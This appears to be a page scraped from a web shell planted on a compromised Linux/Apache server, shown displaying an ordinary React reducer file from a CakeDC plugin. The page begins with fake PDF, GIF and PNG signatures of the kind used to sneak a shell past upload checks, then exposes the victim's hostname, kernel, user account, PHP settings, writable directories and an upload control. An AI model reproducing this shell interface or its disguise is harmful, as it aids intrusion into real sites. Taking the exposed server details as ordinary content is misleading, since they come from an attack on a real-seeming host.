%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/public_html/vendor/cakedc/mixer/src/React/views/InstalledView/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/public_html/vendor/cakedc/mixer/src/React/views/InstalledView/reducers.js
import { PLUGIN_INSTALLED, PLUGIN_UNINSTALLED, PLUGIN_UPDATED } from './actions'

const initialState = {
    data: window.installedPlugins
}

const installedView = (state = initialState, action) => {
    switch(action.type) {
        case PLUGIN_INSTALLED:
            return Object.assign({}, state, {
                data: state.data.concat({name: action.name, description: action.description, version: action.latestRelease})
                //isInstalling: action.name
            })
        case PLUGIN_UNINSTALLED:
            return Object.assign({}, state, {
                data: state.data.filter((item) => item.name !== action.name).map((item) => item)
                //isInstalling: false,
                //data: action.data
            })
        case PLUGIN_UPDATED:
            return Object.assign({}, state, {
                data: state.data.map((item) => {
                    if (item.name === action.name) {
                        item.version = action.version
                    }

                    return item
                })
            })
        default:
            return state
    }
}

export { installedView }

VaKeR 2022